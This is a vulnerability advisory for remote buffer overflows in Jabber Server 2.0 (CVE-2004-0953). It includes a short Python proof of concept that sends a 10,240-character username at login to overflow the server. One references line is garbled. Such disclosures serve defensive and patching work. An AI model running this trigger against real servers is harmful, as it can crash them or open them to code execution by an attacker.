Jabber Server Multiple Remote Buffer Overflow Vulnerabilities

Bugtraq ID:	11741
Class:	Boundary Condition Error
CVE:	CVE-2004-0953
Remote:	Yes
Local:	No
Published:	Nov 24 2004 12:00AM
Updated:	Jul 12 2009 08:06AM
Credit:	The discovery of these issues is credited to icbm <[email protected]>.
Vulnerable:	Jabber Software Foundation Jabber Server 2.0
Not Vulnerable:

Jabber Server Multiple Remote Buffer Overflow Vulnerabilities

Multiple remote buffer overflow vulnerabilities affect the Jabber Server. These issues are due to a failure of the application to properly validate the length of user-supplied strings prior to copying them into finite process buffers.

An attacker may leverage these issues to execute arbitrary code on a computer with the privileges of the server process. This may facilitate unauthorized access or privilege escalation.

Jabber Server Multiple Remote Buffer Overflow Vulnerabilities

The following proof of concept has been made available:

#!/usr/bin/python
import xmpp
name = 'a'*10240
# Born a client
cl=xmpp.Client('localhost')
if not cl.connect(server=('192.168.10.138',5222)):
raise IOError('Can not connect to server.')
if not cl.auth(name,'jabberuserpassword','optional resource name'):
raise IOError('Can not auth with server.')
cl.disconnect()

Currently we are not aware of any exploits for these issues. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Jabber Server Multiple Remote Buffer Overflow Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Jabber Server Multiple Remote Buffer Overflow Vulnerabilities

References:

• jabberd 2 Project Page (JabberStudio)
  
• Jabberd2.x remote BuffJabberd2.x remote Buffer Overflowser Overflows (icbm )